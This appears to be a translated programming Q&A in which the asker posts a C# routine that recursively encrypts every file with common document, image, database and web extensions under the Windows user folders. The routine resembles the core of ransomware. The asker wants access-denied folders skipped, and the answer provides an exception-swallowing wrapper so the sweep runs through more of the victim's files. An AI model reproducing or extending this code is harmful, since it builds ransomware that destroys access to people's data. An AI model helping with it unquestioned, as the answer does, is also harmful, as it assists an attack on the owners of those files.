c# - 忽略 "Unauthorized Access" "function Directory.GetDirectories()"

Question

当我扫描 C:\\users\\<SomeUserName>\\* 中的目录时在某些目录中我没有访问权限我搜索了很多如何忽略“未经授权的访问”现在我需要帮助:/

这是我的代码:

public void encryptDirectory(string location, string password)
{
    //extensions to be encrypt
    var validExtensions = new[]
    {
        ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"
    };
    string[] files = Directory.GetFiles(location);
    string[] childDirectories = Directory.GetDirectories(location);
    for (int i = 0; i < files.Length; i++)
    {
        string extension = Path.GetExtension(files[i]);
        if (validExtensions.Contains(extension))
        {
            EncryptFile(files[i], password);
        }
    }
    for (int i = 0; i < childDirectories.Length; i++)
    {
        encryptDirectory(childDirectories[i], password);
    }
}

Answer 1

如果您想忽略特定方法抛出的异常，请编写您自己的包装器，捕获您希望捕获的异常，并返回一些有用的默认值:

private static string[] GetFilesSafe(string location) {
    try {
        return Directory.GetFiles(location);
    } catch (UnauthorizedAccessException ex) {
        Console.Error.WriteLine(ex.Message);
        return new string[0];
    }
}

为 Directory.GetDirectories 编写一个类似的包装器，并将直接调用替换为对包装器的调用。这将隐藏访问问题。